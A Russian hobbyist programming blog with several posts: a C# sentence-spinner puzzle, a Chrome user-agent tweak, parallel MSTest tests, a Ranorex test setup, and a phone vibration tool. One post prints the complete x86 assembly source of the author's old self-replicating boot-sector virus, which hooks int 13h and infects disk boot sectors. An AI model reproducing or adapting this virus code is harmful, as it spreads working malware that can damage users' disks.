понедельник, 17 ноября 2014 г.

Задача с lightsoft.ru Перестройка предложения

Дело было вечером, делать было... Искал работу QA Automation и набрёл случайно на сайт
 lightsoft.ru. А там задачка, вот вечер был потрачен на решение задачи

Пожалуйста, разработайте функцию\класс для "перемешивания" предложения.
Символ | является разделителем слов-вариантов. Например:
"{Пожалуйста|Просто} сделайте так, чтобы это {удивительное|крутое|простое} тестовое предложение {изменялось {быстро|мгновенно} случайным образом|менялось каждый раз}."
На выходе должно получаться:
"Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось каждый раз." или "Просто сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом".
Вот решил поделиться моим решением на C#:
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;

namespace lightsoft
{
    class Program
    {
       
        static Dictionary<int, ArrayList> dictions = new Dictionary<int, ArrayList>();
        static int pos = 0;

        /// <summary>
        /// Возвращаем блок из строки
        /// </summary>
        /// <param name="str"></param>
        /// <returns>block</returns>
        private static string RetBlock(string str) {
            int startIndex = -1, finishIndex = -1;
            int counterStart = 0, counterFinish = 0;

            for (int i = 0; i < str.Length; i++)
            {
                if (str.Substring(i, 1) == "{")
                {
                    if (startIndex == -1) startIndex = i;
                    counterStart++;
                }

                if (str.Substring(i, 1) == "}")
                {
                    finishIndex = i;
                    counterFinish++;
                }
               
                if (startIndex < finishIndex && counterStart == counterFinish)
                {
                    return str.Substring(startIndex + 1, finishIndex - startIndex - 1);
                }

            }

            if (counterStart != counterFinish || startIndex > finishIndex)
            {
                throw new Exception("Error parse string:" + str);
            }

            return string.Empty;
        }

        /// <summary>
        /// Парсим строку на блоки и добавляем блоки в словарь
        /// </summary>
        /// <param name="str"></param>
        /// <returns>template</returns>
        private static string Parse(string str) {
          
            bool flagAdd = true;
            while(flagAdd){
                flagAdd = false;
                string block = RetBlock(str);
                if (block == string.Empty) return str;

                string str1 = Parse(block);             // используем рекурсию для всех внутренних блоков
                str = str.Replace(block, str1);
                block = str1;

                ArrayList words = new ArrayList();      // масив для варианов подстановки
                foreach(string blk in block.Split('|'))
                {
                    words.Add(blk);
                    flagAdd = true;
                }
                string posstr = "%" + Convert.ToString(pos) + "%";
                str = str.Replace("{" + block + "}", posstr);
                dictions.Add(pos, words);               // добавляем массив в словарь
                pos++;
            }

            return str;
        }


        private static Random rnd = new Random();

        /// <summary>
        /// Возвращаем случайный набор из массива
        /// </summary>
        /// <param name="idBlock"></param>
        /// <returns>random words</returns>
        private static string GetRndWords(int idBlock) {
            ArrayList words = new ArrayList();
            dictions.TryGetValue(idBlock, out words);
            int idWord = rnd.Next(0, words.Count);
            return (string)words[idWord];       
        }

        /// <summary>
        /// Генерируем строку
        /// </summary>
        /// <param name="template"></param>
        /// <returns>new sentence</returns>
        private static string GenSentence(string template)
        {
            bool flag = true;
            string pattern = @"%[0-9]*%";
            Regex rgx = new Regex(pattern);           
            while(flag)
            {
                flag = false;
                foreach (Match match in rgx.Matches(template))
                {
                    int idBlock = Convert.ToInt32(match.Value.Replace("%",string.Empty));
                    template = template.Replace(match.Value, GetRndWords(idBlock));
                    flag = true;
                }
            }

            return template;
        }

        static void Main(string[] args)
        {
            string template = Parse(args[0]);
            for (int i = 0; i < 30; i++)
            {
                System.Console.WriteLine(GenSentence(template));
            }
            System.Console.ReadKey();
        }


    }
}


 Результат работы:
Просто сделайте так, чтобы это простое тестовое предложение менялось каждый раз.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Просто сделайте так, чтобы это крутое тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось мгновенно случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это простое тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось мгновенно случайным образом.
Просто сделайте так, чтобы это крутое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение менялось каждый раз.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это простое тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение менялось каждый раз.

пятница, 18 апреля 2014 г.

Включение аппаратного декодирования для Youtube в Chrome

В свой нетбук я вставил аппаратный декодер Broadcom BCM-70012 (70015) Crystal HD Decoder Card. 
Он хорошо работает на ускорение воспроизведения flash видео, 
но не работает где видео воспроизводится через HTML5, например Youtube.
Для того чтоб включить аппаратное декодирование для Youtube, нужно Youtube сказать, 
что наш браузер не поддерживает HTML5.
Делаем ярлык с параметром: --user-agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

Или можно установить расширение User-Agent Switcher for Chrome или YouTube Options. В YouTube Options можно поставить, что использовать только Flash но работает нестабильно.

03.10.2014
Найдено замечательное расширение для хрома disable youtube html5 установите это расширение и chrome будет воспроизводить видео через flash.
Сейчас у меня видео 1080 на Acer aspire one (A150, A110) идет без проблем через аппаратный декодер Broadcom BCM-70012 Crystal HD Decoder Card.

среда, 27 ноября 2013 г.

Boot Virus

В далеком 1996(а может раньше, дата файла 96г.) году был у меня компьютер Поиск1 и учился я программировать на assembler. И конечно я не смог обойти тему вирусов, так как было любопытно и позволило мне изучить работу: BIOS, накопителей(FDD, HDD) и файловой системы (FAT). В те времена переделывал вывод CGA для Поиска1, писал драйвер джойстика и еще много интересных вещей. Хорошее время было...
Вирус был написан только для эксперемента и не расспространялся.
Сейчас это уже не актуально, но может кому то будет интересно.
Код правда без комментариев, но если интересно можно разобраться.
;------------------------------------------------------
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:CODESG,SS:CODESG,ES:CODESG

org 12Bh
adres equ 12Bh
smech equ 40h
sizvir equ endvir-begvir
;------------------------------------------------------
begvir:  push cs
pop ds
cld
push cs
pop es
mov si,07C00h+smech
mov di,adres
mov cx,sizvir
rep
movsb
les bx,ds:[04Ch]
mov word ptr ds:[iin],bx
mov word ptr ds:[cin],es
mov ax,offset reads
push ax
ret
reads: push cs
pop es
mov ax,0201h
mov cx,4F01h
mov bx,07C00h
int 13h
mov ax,offset inter
mov word ptr ds:[04Ch],ax
xor ax,ax
mov word ptr ds:[04Ch+2],ax
push bx
ret
inter: push ax
pushf
pop ax
test ah,01h
pop ax
jnz m8
cmp ah,02h
jz mk
cmp ah,03h
jnz extin
mk: cmp cx,0001h
jz redvir
cmp cx,4F01h
jnz extin
m5: retf 02
redvir:  or dh,dh
jz zar
extin: db 0EAh
ain label dword
iin dw 00h
cin dw 00h
m8: cli
les bx,cs:[04h]
mov byte ptr es:[bx],0CFh
pushf
pop ax
and ah,0FEh
push ax
popf
db 0EAh
dw 0FFF0h
dw 0F000h
zar: cmp ah,03h
jz mh
push ax
mov ah,02h
pushf
call cs:[ain]
pop ax
mh: cmp byte ptr es:[bx+511],0AAh
jnz extin
mov ch,4Fh
cmp byte ptr es:[bx+1],029h
jnz m6
jmp extin
m6: mov ax,0301h
mov cl,01h
pushf
call cs:[ain]
mov word ptr es:[bx],029EBh
push ds
push si
push di
push cs
pop ds
cld
mov cx,sizvir
lea di,[bx+smech]
mov si,adres
rep
movsb
pop di
pop si
pop ds
mov ax,0301h
mov cx,0001h
pushf
call cs:[ain]
jb mm9
mov cx,4F01h
mm9: mov ax,0201h
jmp extin
db '* STRANGER *'
endvir:
CODESG ENDS

Распараллеливание DDT (Data Driven Tests) в Unit Testing

На просторах инета я не нашел решения "как распараллелить DDT в Unit Testing", нашел только информацию, что Microsoft не реализовало данную возможность в Visual Studio 2010.
Так что пришлось выкручиваться.

Вот рабочий пример DDT, распараллеленный на 4 потока.
Создаем TestsMultiThread.csv файл
Вот код для обработки данного файла:
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
 
namespace Wireless.Tests
{
    [TestClass]
    public class TestTry 
    {
        [TestClass]
        public class TestsCoupons 
        {
            public TestContext TestContext { getset; }
 
            [TestCleanup]
            public void StopTest()
            {
            }
 
            [TestInitialize]
            public void StartTest()
            {
            }
 
            [ClassInitialize]
            public static void StartTests(TestContext context)
            {
            }
 
            private void ExecuteTest(int thread)
            {
                var threadcfg = Convert.ToInt16(TestContext.DataRow["Thread"]);
                if (threadcfg != thread)
                    Assert.Inconclusive("Test not executed");
                var var1 = Convert.ToInt16(TestContext.DataRow["Var1"]);
                var var2 = Convert.ToInt16(TestContext.DataRow["Var2"]);
                var expResut = Convert.ToInt16(TestContext.DataRow["Result"]);
                Assert.AreEqual(expResut, var1 + var2);
 
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread1()
            {
                ExecuteTest(1);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread2()
            {
                ExecuteTest(2);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread3()
            {
                ExecuteTest(3);
            }
 
            [DeploymentItem("DDT\\TestsMultiThread.csv"),
             DataSource("Microsoft.VisualStudio.TestTools.DataSource.CSV""|DataDirectory|\\TestsMultiThread.csv""TestsMultiThread#csv",
             DataAccessMethod.Sequential),
             TestMethod]
            public void TestThread4()
            {
                ExecuteTest(4);
            }
        }
    }
}

При запуске TestControler распараллеливает  4 метода на 4 виртуальные машины.
Вот результат запуска:
Поток 1

Поток 2

вторник, 26 ноября 2013 г.

Ranorex - организация автоматического тестирования C# приложения

Я занимаюсь тестированием сложного C# приложения, для retail (WS) с помощью Ranorex. В этой статье я расскажу как я организовал окружение, для автоматического тестирования.
Используемые продукты:
  1. Ranorex
  2. MS Visual Studio with MSTest
  3. MS Test Controller + Test Agent
  4. TFS
  5. TeamCity
Проекты:
WS- тестируемый проект
AutomationTesting - проект тестирования


Схема окружения

  1. Проект AutomationTesting берется из TFS и собирается на локальной машине или в TeamCity.Так же в TeamCity собирается проект WS. 
  2. Из TeamCity проект WS деплоится на виртуальные машины.
  3. Запуск UnitTests можно сделать с локальной машины или TeamCity(вручную или по расписанию.

    Пример задания в TeamCity для сборки тестируемого проекта WS:
  • Проект WS забирается из TFS(красное на схеме)
  • Собирается WS
  • Копируется исполняемые файлы и библиотеки на виртуальные машины(черное на схеме)
         Пример задания в TeamCity для сборки и выполнения проекта AutomationTesting:
  • Проект AutomationTesting забирается из TFS(красное на схеме)
  • Собирается AutomationTesting
  • Запускаются через RDP виртуальные машины, так как нам нужен UI
  • Запускаются тесты (зеленое и голубое на схеме)
Какие тесты исполнять и где определяет TestController, распределяя нагрузку между виртуальными машинами(Test Agents)

Запуск виртуальных машин происходит в фоне, без запроса пароля. Пример cmd файла:
taskkill.exe /F /IM mstsc.exe
 
cmdkey /add:"TERMSRV/nameVM" /user:"userName" /pass:userPassword
start mstsc.exe file.rdp /v:nameVM /h:1024 /w:1280 /admin

вторник, 5 ноября 2013 г.

Программа для тренировки-тестирования вибры

У Jiayu G3S есть проблема, моторчик вибры как бы залипает. Программа тренирует вибру, говорят это помогает. 
В импульсном режиме можно тестировать, если оставить на долго и вибра залипает значит проблемма есть.